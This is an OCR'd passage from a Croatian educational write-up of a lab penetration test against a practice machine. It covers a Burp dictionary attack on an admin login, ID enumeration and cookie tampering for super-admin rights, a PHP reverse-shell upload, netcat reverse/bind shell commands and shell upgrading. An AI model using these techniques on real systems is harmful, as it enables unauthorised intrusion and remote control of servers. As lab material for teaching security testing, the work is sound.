ovdje prikazano kako nije dovoljno da lozinka bude osigurana protiv bruteforce napada vec je
potrebno implementirati politike zastarijevanja lozinki te njihove promjene ukoliko su pogodene

probojima podataka kako bi se na taj nacin zastitile i od napada rje€nikom.

Ovakav napad rje€nikom moguce je provesti i ranije koriStenim alatom Burp.
Provodenje napada tim putem sofisticiranije je te pruza vise mogucnosti poput pregleda HTTP
odgovora na svaki pojedini zahtjev. U nastavku biti prikazano koristenje navedenog alata u tu
svrhu. Najprije je potrebno presresti zahtjev za prijavom koristeci Intercept modul unutar
Burpa. Sljedeca slika prikazuje zahtjev za prijavom kojim su poslani korisni¢ko ime i lozinka sa

vrijednostima “test”.
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/ Request to http://10.10.10.28:80

[ Forward | | Drop J l Intercept is on. | [ Action J

—J Raw TParams T Headers THex ]

POST /cdn-cgi/login/index.php HTTP/1.1
Host: 10.10.10.28

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/index.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

Connection: close

Upgrade-Insecure-Requests: 1

username=test&password=test

Slika 16: Zahtjev za prijavom unutar modula Intercept

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Nakon toga presreten zahtjev Salje se modulu Intruder. Na sljedecoj slici korisni¢ko ime

je postavljeno na stati¢nu vrijednost “admin” s obzirom da se upravo admin korisnic¢ki racun

napada, dok je vrijednost lozinke varijabilna te ¢e poprimiti vrijednosti iz prilozenog rje¢nika.

Tip napada postavljen je na “Sniper” s obzirom da postoji samo jedna varijabla koja je u ovom

slu¢aju lozinka. Na slici je prikazan rje€nik sa lozinkama postavljen kao payload za ovaj napad.

® Payload Options [Simple list]

Paste | kraM A
| kraM2305
| (i | kraM1990
' | kraM90
Remove Mark S
| Mark2305
P | Mark1990
) | Mark9o
| Markl
| krami L
Add Enter a new item

Add from list ... [Pro version only]

Slika 17: Rjec€nik koji sadrzi lozinke za napad

This payload type lets you configure a simple list of strings that are used as payloads.
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Nakon $to su postavljene pozicije odnosno varijabilni dijelovi zahtjeva te proslijeden

rie€nik sa lozinkama, moguce je zapocCeti napad diji su rezultati prikazani na slijedecoj slici.

J Results T Target T Positions T Payloads T Options ]
Filter: Showing all items
| Request | Payload | Status | Error | Timeout | Length & |
99 MEGACORP_4dm1n!! 302 O O 381
0 200 O (] 487
1 kraM 200 O O 4871
2 kraM2305 200 O O 4871
3 kraM1990 200 ] ] 4871
4 kraM90 200 a 0 4871
5 Mark 200 O O 4871
6 Mark2305 200 O O 4871
7 Mark1990 200 O O 4871
8 Mark90 200 O (] 4871
9 Markl 200 @ (] 4871
10 kraM1 200 @) ] 4871
11 Smith 200 ] ()] 4871
12 Smith2305 200 ] O 4871
B0 - Reascoscmacosacosa Smithlaan elalal £ £ e, 1 - b I

Slika 18: Rezultati napada rje¢nikom

Rezultati su sortirani po duljini odgovora s obzirom da razliita duljina znaci razliciti
odgovor Sto Cesto ukazuje na uspjesSnost prijave. U nastavku je prikazana moguénost Burpa
da se klikom na svaki pojedini zahtjev vide detaljnije informacije te HTTP odgovor dobiven na

taj zahtjev.

HTTP/1.1 302 Found

Date: Wed, 14 Jul 2021 11:47:06 GMT

Server: Apache/2.4.29 (Ubuntu)

Set-Cookie: user=34322; expires=Fri, 13-Aug-2021 11:47:06 GMT; Max-Age=2592000; path=/
Set-Cookie: role=admin; expires=Fri, 13-Aug-2021 11:47:06 GMT; Max-Age=2592000; path=/
Location: /cdn-cgi/login/admin.php

Content-Length: O

Connection: close

Content-Type: text/html; charset=UTF-8

@ [ < J[ + J[ > J Tvpe a search term

Iz putanje /cdn-cgi/login/admin.php zakljuCuje se da je prijava uspjeSna te da je
redirekcija izvrSena na stranicu admin.php. Sada nakon $to su otkriveni korisniC¢ki podaci
administratora dobiven je pristup novim resursima nad kojima je opet potrebno provesti

enumeraciju kako bi se prona$le ranjivosti koje se mogu iskoristiti za daljnji razvoj napada.
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MegaCorpAutomotive Account Branding Clients Uploads Logged in as Admin

Repair Management System

Slika 19: Stranica admin.php

Jedna od sada dostupnih stranica naziva se Uploads te predstavlja potencijalnu

ranjivost ukoliko se omogucuje prijenos malicioznog koda na posluzitelj mete.

MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

This action require super admin rights.

Slika 20: Stranica Uploads

Kao sto je vidljivo sa prethodne slike, funkcionalnost prijenosa datoteka na posluZitel;
zahtijeva prava korisni¢kog racuna super admin. Ta informacija daje nam sljedeci cilj procesa
penetracijskog testiranja, a to je dobivanje pristupa navedenom korisnickom racunu. Na
stranici Accounts ispisuje se korisni¢ko ime, e-mail adresa te Access ID trenutnog Kkorisnika.
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Korisnik za kojeg se te informacije ispisuju definiran je vrijednoS¢u varijable id koja se

prosljeduje GET metodom, odnosno URL-om prilikom poziva stranice.

MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

Access ID Name Email

34322 admin admin@megacorp.com

Slika 21: Stranica Accounts

Iz navedenih informacija moze se zakljuciti kako bi se promjenom varijable id u URL-u
prilikom poziva stranice Accounts mogli prikazati podaci koji se odnose na nekog drugog
korisnika poput korisnika super admin Cije su ovlasti potrebne za daljnji razvoj napada. S
obzirom da je u ovom slucaju vrijednost varijable id postavljena na 1 zakljuCuje se kako je
vrijednost uvijek neki cijeli broj. 1z tog razloga kreirati ¢e se lista brojeva od 1 do 100 ¢ije ¢e se
vrijednosti prosljedivati prilikom poziva stranice Accounts, a za provedbu ovog napada koristiti

Ce se ve¢ spomenuti modul Intruder unutar alata Burp.

Sljedeca slika prikazuje GET zahtjev kojim se poziva stranica Accounts te varijabla id
koja je unutar modula Intruder postavljena kao varijabilni dio zahtjeva koji ¢e poprimati

vrijednosti iz proslijedene liste brojeva koja je prikazana na slici ispod.

Attack type: lisniper

gre—
GET /cdn-cgi/login/admin.php?content=accounts1id=§1§ HTTP/1.1
Host: 10.10.10.28
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/admin.php

Connection: close

Cookie: user=34322; role=admin

Upgrade-Insecure-Requests: 1

Slika 22: GET zahtjev za stranicom Accounts
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Paste | ‘1
2

‘ 3
Load ... J {4
5
Remove e

Clear J 1;
9 |
L1n =

Add Enter a new item

Add from list ... [Pro version only]

Slika 23: Lista brojeva koji ¢e se proslijediti kao id

Rezultati napada prikazani su na sljedecoj slici te su pri tome ponovno sortirani po
duljini odgovora. Oni napadi koji se razlikuju po duljini odgovora biti ¢e pobliZze pregledani

koriste¢i moguénost pregleda odgovora na svakih pojedini zahtjev unutar alata Burp.

i Request | Payload | Status | Error | Timeout | Length ¥ |
30 30 200 O O 3826
0 200 =) O 3815
1 1 200 O O 3815
13 13 200 O O 3813
23 23 200 O O 3812
4 4 200 O (] 3811
2 2 200 O a 3787
3 3 200 O O 3787
5 5 200 O O 3787
6 6 200 O O 3787
7 7 200 O O 3787
8 8 200 O O 3787
9 9 200 O O 3787
10 10 200 O (] 3787

L11 11 200 =1 o 3787

Slika 24: Rezultat napada nad stranicom Accounts

Kao §to je vidljivo sa slike, zahtjev u kojem je kao vrijednost varijable id proslijeden broj
30 najviSe se razlikuje po duzini odgovora. |z tog razloga potrebno je poblize pogledati odgovor

na taj zahtjev.
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__[ Raw T Headers THex T HTML T Render ]

<li class="nav-item">

<a class="nav-link" href="/cdn-cgi/login/admin.php?content=uploads"=Uploads</a=</l1i>

<li class="nav-item">

<a class="nav-link" href="#"=Logged in as Admin</a>

</li>

</ul=

<form class="form-inline">

</span=

</div>

</form=>

</div>

</div>

</nav>

<br /=<br /><center=><hl=Repair Management System</hl=<br /=<br /=

<tables<tr><th=Access ID</th><th=Name</th><th=Email</th=</tr><tr><td>86575</td><td>super
admin</td=><t dt d></tr=</table<script src='/js/jquery.min.js'></script>
<script src='/js/bootstrap.min.js =</script>

</body=>

</html=>

Slika 25: Zahtjev u kojem je proslijedena id vrijednost 30

Iz odgovora se zakljuCuje kako GET zahtjev za stranicom Accounts kojim se prosljeduje
vrijednost varijable id 30 prikazuje podatke o korisniku super admin. Sada je poznato koju
vrijednost je potrebno proslijediti kako bi se vidjeli podaci super admina te se stranica Accounts

moze otvoriti u pregledniku.

MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

Access ID Name Email

86575 super admin superadmin@megacorp.com

Slika 26: Stranica Accounts sa id vrijednosti 30

Dobivene su dvije vrlo korisne informacije, a to su Access ID i e-mail adresa korisnika
super admin. Sljedeci korak je presretanje zahtjeva za dohvacanjem stranice Uploads kako bi
se mogao poblize analizirati te otkriti nacin koristenja vrijednosti Access ID prilikom poziva te
stranice. Time bi se stranica Uploads dohvatila sa pravima super admina bez potrebe za

otkrivanjem lozinke i prijavom u taj korisni¢ki racun.

35



j Raw T Params T Headers T Hex ]

GET /cdn-cgi/login/admin.php?content=uploads HTTP/1.1

Host: 10.10.10.28

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

L) ()
: Juser=34322; | role=admin
=

“Requests: 1

Slika 27: GET zahtjev za stranicom Uploads

Access ID se proslieduje kao vrijednost varijable user u kola¢iéu (eng. cookie).
Promjenom te vrijednosti u Access ID korisnika super admin moguce je stranicu Uploads
dohvatiti sa ovlastima super admina.

| Forward J Drop J | Intercept is on ! { Action |

_J Raw T Params T Headers T Hex ]

GET /cdn-cgi/login/admin.php?content=uploads HTTP/1.1

Host: 10.10.10.28

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
Connect j.an. Qs

Cookie:j user=86575;) role=admin

Upgrade-Insecure-Requests: 1

Slika 28: Zahtjev sa modificiranom vrijedno$¢u Access ID

Na sljedecoj slici prikazan je pristup formi za prijenos datoteka na Web posluzitelj mete
Sto predstavlja sljedeéi korak u ovom procesu penetracijskog testiranja, a to je izvrSavanje

malicioznog koda te prosljedivanje sistemskih naredbi posluzitelju na daljinu.
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MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

Branding Image Uploads

Brand Name

Browse... No file selected. Upload

Slika 29: Forma za prijenos datoteka

Ovaj slu¢aj demonstrira kako se vrijednosti poput Access ID-a na temelju kojih se
odreduju prava pristupa resursima ne bi trebale prikazivati na temelju vrijednosti proslijedenih
kanalima koje svatko mozZe modificirati, kao 3to je u ovom slu€aju bio URL. Isto tako, prilikom
pristupa resursima navedeni Access ID ne bi se trebao prosljedivati koristenjem kolaci¢a s
obzirom da su oni spremljeni na klijentskoj strani te se njihove vrijednosti mogu vrlo lako
modificirati tijekom slanja zahtjeva. Nacini kontrole pristupa koji su mnogo sigurniji od kolaci¢a
biti ¢e objasnjeni u posliednjem poglavlju ovog rada koje ¢e se osvrnuti na zastitu Web

aplikacija i Web posluzitelja od provedenih napada.

Nakon Sto je osiguran pristup stranici Uploads uz prava korisnika super admin,
omogucen je prijenos datoteka na posluzitelj mete. S obzirom da ova forma za prijenos ne radi
provjere ekstenzije datoteke koja se prenosi moguce je prenijeti bilo koji maliciozan kod.
Maliciozan kod koji ¢e se koristiti u ovom primjeru sluzi za uspostavljanje ljuske (eng. shell).
Ljuska je program koji prima korisnicki unos putem terminala te na temelju unosa izvrSava
programe nad Unix sustavom. Nakon Sto se programi izvrSe, ljuska isto tako sluzi za prikaz
njihovih rezultata. Pri tome terminal predstavlja prozor grafickog sucelja koji omogucuje upis
naredbi i prikazuje rezultate dok je ljuska softver koji interpretira i izvrSava naredbe koje
upisujemo u terminal. Ukratko, ljuska prima, interpretira, izvrSava i prikazuje rezultate naredbi.
Time se dobivanjem sesije ljuske nad posluZiteliem mete napadac¢u omogucava prosljedivanje

i izvodenje naredbi na daljinu.

Postoji viSe vrsta ljuski te svaka od njih ima razliite mogucnosti i ogranienja, pa iz tog
razloga nije uvijek dovoljno dobiti bilo koju ljusku na meti ve¢ je ponekad potrebno i izvrsiti

odredene radnje kako bi se ostvario pristup boljoj ljusci koja ima moguénosti potrebne za laksu
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i brzu provedbu napada nad metom. Najpopularnija ljuska je bash ili Bourne-Again Shell, a
neke od funkcionalnosti koje rad sa bash ljuskom pruza su automatsko popunjavanje imena
datoteka te pristup prijasnjim izvedenim naredbama pritiskom strelice gore. Takve
funkcionalnosti mogu pomocéi kod penetracijskog testiranja s obzirom da ubrzavaju proces te
time smanjuju mogucénost detekcije napada. S druge strane, neke ljuske stavljaju manju
vaznost na funkcionalnosti ali zato usmjeravaju pozornost na brzi rad, $to ih ¢ini pogodnim za
rad na uredajima sa slabijim performansama. Primjer takve ljuske je Dash [27]. Time se
zakljuc€uje kako postoje razliite ljuske pa je potrebno poznavati njihove prednosti i nedostatke

kako bi se optimizirao napad.

Postoje dva glavna nacina dobivanje sesije ljuske nad metom koristeci alat netcat, a to

su reverse ljuska i bind ljuska.

Netcat reverse ljuska
Napadac¢ Meta
' TCP Veza
Port 4444
netcat -lvp 4444 -e /bin/sh netcat <ip_napadac> 4444

Slika 30: netcat reverse ljuska

Kod reverse ljuske napadac koristi netcat za sluSanje (eng. listening) na odredenom
portu. Zatim se na meti pokreée netcat kako bi se uspostavila TCP veza kojom se prosljeduje

sesija ljuske sa napadaCem na portu na kojem je pokrenut netcat listener.
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Netcat bind ljuska
Napadac Meta
TCP Veza '
Port 4444
netcat <ip_meta> 4444 netcat -lvp 4444 -e /bin/sh

Slika 31: netcat bind ljuska

S druge strane, kod uspostavljanja bind ljuske napadaC se koristeci netcat spaja na
listener mete na nacin da se prosljeduje IP adresa mete te port na kojem se nalazi listener.
Prije toga je potrebno na meti pokrenuti listener na odredenom portu. Reverse ljuska moze se
koristiti u veéini slu€ajeva a posebice je korisna u slucajevima kada se meta nalazi izvan
lokalne mreze napadaca, odnosno kada se meta nalazi iza vatrozida (eng. firewall). U slucaju
kada se meta nalazi iza vatrozida svaki pokusaj TCP veze od napadaca prema meti je blokiran.
Koristeéi reverse ljusku meta je ta koja Salje zahtjev za TCP vezom pa se time zaobilazi
problem blokiranja dolazne veze od strane vatrozida mete. Isto tako, reverse ljuska je vrlo
korisna u slu€aju kada meta nema javnu IP adresu pri ¢emu je meta ta koja mora inicirati
komunikaciju na nacin da Salje zahtjev za TCP vezom s obzirom da napada¢ ne moze poslati

zahtjev na IP adresu mete.

Bind ljuska se koristi u slu¢ajevima kada je poznato da meta ne blokira TCP veze od
napadaca pri ¢emu je lakSe uspostaviti upravo bind ljusku. Naime, bind ljusku je u takvom
slu€aju lak8e uspostaviti s obzirom da nije potrebno konfigurirati vatrozid ili raditi port
forwarding na usmjerniku napadaca kako bi se uspjesno prihvatila TCP veza od mete. Time je

uspostava bind ljuske brza i jednostavnija u specifi¢nim slu¢ajevima poput navedenog [28].

Osim za penetracijsko testiranje, sesije ljuske se koriste i za odrzavanje i rad na
posluziteljima na nacin da administratoru daju pristup i moguénost izvrSavanja naredbi na

posluzitelju koji je fizi¢ki udaljen. Jedan od servisa koji se za to koristi je SSH (secure shell).

Reverse ljuska moze se koristiti u vecini sluajeva pa ¢e se upravo taj tip uspostavljanja
koristiti u ovom prakticnom primjeru. Web aplikacija koja predstavlja metu ovog primjera koristi
jezik PHP Sto se vidi prema ekstenzijama stranica na Web mjestu. PHP je jezik koji veCina

Web posluzitelja ima instaliran te Cesto ima svoj interpreter koji pruza mogucnost za
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uspostavljanje ljuske. Na Kali Linuxu ve¢ postoji skripta za uspostavljanje PHP reverse ljuske
te u ovom slu€aju predstavlja najboljeg kandidata za prijenos na posluzitelj mete. Skripta za
uspostavu reverse ljuske moze se pronacéi na poveznici http://pentestmonkey.net/tools/web-

shells/php-reverse-shell.

Kao $to je definirano u opisu navedene skripte, pogodna je za koristenje u slu€ajevima
kada Web aplikacija koristi PHP te kada je ostvarena mogucnost prijenosa datoteka na
posluzitelj. Skripta se aktivira dohvac¢anjem putanje na posluzitelju na kojoj se nalazi te se
aktivacijom uspostavlja TCP veza na listener napadaca uz koju je vezana sesija ljuske [29].
Navedena skripta sluzi kako bi se na posluziteliju mete pokrenula naredba netcat
<ip napadaca> <port listenera> Kojom se uspostavlja TCP veza na listener napadaca te
dobiva sesija ljuske. Prije prijenosa skripte na posluzitelj potrebno je pokrenuti listener na koji
¢e se uspostaviti TCP veza. Listener se pokrece koriste¢i alat netcat naredbom netcat -1vp
4444,

Opcija -| ozna¢ava listen mode, odnosno nacin rada u kojem se pokrece listener koji
Ceka TCP vezu. -v uklju€uje rjecit (eng. verbose) ispis rezultata. Naposljetku, opciji -p se
prosljeduje port na kojem se Zeli pokrenuti listener. U ovom slucaju to je port 4444 s obzirom

da je to rijetko koristen port te je time pogodan za uspostavljanje veze s metom.

kali@kali: ~ kali@kali: ~

kaligkali:~$ netcat -lvp &&b4s4
listening on [any] 4444

Slika 32: Pokretanje netcat listenera
Nakon $to je pokrenut netcat listener potrebno je modificirati ,reverseshell.php® skriptu

na nacin da se definira port i IP adresa na kojoj se nalazi listener napadac¢a, odnosno port i IP

adresa na koju ¢e meta poslati zahtjev za TCP vezom.
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47 set_time_limit

48 "1.0"
49 '10.10.14.96'
50 |

51

52 null

53 null

54 'uname -a; w; id; /bin/sh -i'
55

56

Slika 33: Modificiranje "reverseshell.php" skripte

Sljededi korak je prijenos skripte na posluzitelj mete. Prilikom dohvaéanja stranice Uploads
ponovno je potrebno izmijeniti zahtjev na nacin da se unutar kolacica vrijednost user promijeni
u Access ID super admina.

MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

Branding Image Uploads

Brand Name

Browse... reverseshell.php Upload

Slika 34: Forma za prijenos datoteka

Nakon odabira datoteke POST zahtjev za prijenosom je isto tako potrebno presresti i

izmijeniti s obzirom da predstavlja akciju za koju su ponovno potrebne ovlasti super admina.
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_[ Raw TParams T Headers THex ]

POST /cdn-cgi/login/admin.php?content=uploads&action=upload HTTP/1.1

Host: 10.10.10.28

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept -Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=uploads
Content-Type: multipart/form-data; boundary=-----------“-“--c“"cooc" 1823143602262425386303987324
Content-Length: 5840

Connection: close

Cookie: role=admin

Upgrade-Insecure-Requests: 1

----------------------------- 1823143602262425386303987324
Content-Disposition: form-data; name="name"

----------------------------- 1823143602262425386303987324
Content-Disposition: form-data; name="fileToUpload"; filename="reverseshell.php"
Content-Type: application/x-php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability

// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.

// In all other respects the GPL version 2 applies:

// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.

Slika 35: POST zahtjev za prijenosom datoteke na posluzitel;

Repair Management System

The file reverseshell.php has been uploaded.

Slika 36: Uspjesan prijenos datoteke

Skripta se sada nalazi na posluzitelju mete te je potrebno pronaci putanju na kojoj je
pohranjena kako bi se dohvac¢anjem te putanje skripta aktivirala. Ranije u ovom praktichom
primjeru koriSten je alat za pronalazak direktorija na Web posluzitelju koji se naziva Dirb.
Rezultati pokretanja Dirba nad metom ovog primjera prikazani su na slici u nastavku.
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:~$ dirb http://10.10.18.28/ /usr/share/dirb/wordlists/common. txt

DIRB v2.22
By The Dark Raver

START_TIME: Sun Jul & ©6:25:33 2021
URL_BASE: http://10.10.10.28/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.28/ ---—-

= DIRECTORY: http://10.10.10.28/css/

= DIRECTORY: http://10.10.10.28/fonts/

= DIRECTORY: http://10.10.10.28/images/

+ http://10.10.10.28/index.php (CODE:200|SIZE:10932)
—> DIRECTORY: http://10.10.10.28/js/

+ http://10.10.10.28/server-status (CODE:403|SIZE:276)
=> DIRECTORY: http://10.10.10.28/themes/

= DIRECTORY: http://10.10.10.28/uploads/

Slika 37: Rezultati skeniranja alatom Dirb

Sa prethodne slike koja prikazuje pronadene direktorije na meti vidljiva je putanja
http://10.10.10.28/uploads/. 1z naziva direktorija mozZe se zakljuliti kako ¢e se maliciozna
skripta nalaziti upravo na toj lokaciji. Skripta se aktivira dohvacanjem te lokacije, odnosno
upisivanjem http://10.10.10.28/uploads/reverseshell.php u adresnu traku. Sljedeca slika
prikazuje dobivanje sesije ljuske nakon dohvacanja lokacije na kojoj se skripta nalazi na

posluZzitelju.

7 Welcome x +

T X @ 10.10.10.28
i1 Apps Debian.org Latest News Help

kali@kali: ~

| File Actions Edit View Help
kali :~$ netcat -lvp 4444

listening on [any] 4444 ...

9€

ka li:~$ netcat -lvp 4444

listening on [any] 4444 ...

10.10.10.28: inverse host lookup failed: Unknown host

connect to [10.10.14.96] from (UNKNOWN) [10.10.10.28] 39144

Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64

x86_64 GNU/Linux

10:58:34 up 1:28, 2 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN® IDLE JCPU PCPU WHAT

robert pts/1 10.10.16.115 099:33 1:02 0.07s 0.01s sshd: robert [priv]

robert pts/2 10.10.16.108 10:08 38:26 0.22s 0.22s -bash

uid=33(www-data) gid=33(www-data) groups=33(ww-data)

/bin/sh: @: can't access tty; job control turned off

Slika 38: Dobivena sesija ljuske
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Trenutni prijavljeni korisnik je www-data. Www-data je default korisnik kojim se pokrece
Web posluzitelj poput posluzitelja Apache koji se koristi u ovom slu¢aju. S obzirom da www-
data nema ovlasti potrebne za pristup svim povjerljivim datotekama na posluzitelju potrebno
je izvesti podizanje ovlasti (eng. privilege escalation). Kao $to je ranije spomenuto, ponekad
nije dovoljno dobiti bilo koju ljusku s obzirom da se ljuske razlikuju po njihovim moguénostima,
sintaksi, brzini izvodenja naredbi i sli€nom. Trenutna ljuska moze se provijeriti naredbom echo

$0 ciji je rezultat vidljiv na sljedeco;j slici.

$ echo $0
/bin/sh

Slika 39: rezultat naredbe echo $0

Trenutno ostvarena sesija ljuske je sh. S obzirom da je to zastarjela ljuska poZeljno bi
ju bilo unaprijediti u bash koji ima mnogo vise moguénosti koje ¢e olak8ati i ubrzati proces
podizanja ovlasti. Isto tako, trenutna ostvarena sesija ljuske nije interaktivha $to znaci da ne
prepoznaje pre€ace i specijalne znakove poput strelice gore kako bi se upisala posljednja
poslana naredba ili ctrl + ¢ kako bi se zatvorio proces. Ljuska ¢ée se unaprijediti u interaktivhu

bash ljusku sljedec¢im nizom naredbi:

SHELL=/bin/bash script -gq /dev/null
Ctrl+z

stty raw -echo

fg
reset

xterm

Prvom naredbom se ostvaruje djelomi¢no interaktivna bash ljuska, dok se /dev/null dio
odnosi na dev/null datoteku u koju se zapisuju podaci koji se zele ukloniti. Time se rezultat ove
naredbe ignorira i uklanja na nacin da se zapisuje u dev/null datoteku. PreCacem ctrl + z
trenutni proces se stavlja u pozadinu. Zatim se naredbom stty raw -echo unaprjeduje prozor
terminala na nacin da se prepoznaju korisni¢ki unosi poput navedene strelice gore za pristup
povijesti naredbi. Nakon toga se naredbom fg proces sesije ljuske iz pozadine opet stavlja u
fokus. Reset zatim resetira prozor terminala nakon ¢ega se pojavljuje upit “Terminal window?”

na koji se odgovara sa xterm koji predstavlja standardni terminal emulator. Provjera ostvarene
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ljuske naredbom echo $0 nakon provedenog unaprjedenja putem navedenog niza naredbi

vidljiva je na sljedecoj slici.

ww -datagoopsie:/$ echo $0
bash

ww -datagoopsie:/$ |

Slika 40: Rezultat naredbe echo $0 nakon unaprjedenja ljuske

4.4. Podizanje razine ovlasti

Nakon $to je ostvarena bash interaktivna ljuska potrebno je pregledati sve datoteke
kojima trenutni korisnik www-data ima pristup kako bi se dobile informacije potrebne za daljnje
podizanje ovlasti. S obzirom da se trenutno nalazimo u korijenskom direktoriju, naredbom Is

mogu se prikazati svi direktoriji unutar istog.

ww -datagoopsie:/$ 1s

bin dev initrd.img 1ib64 mnt root snap sys var

boot etc initrd.img.old lost+found opt run SIrv tmp vmlinuz
cdrom home 1ib media proc sbin swap.img usr vmlinuz.old

ww -datagoopsie:/$ 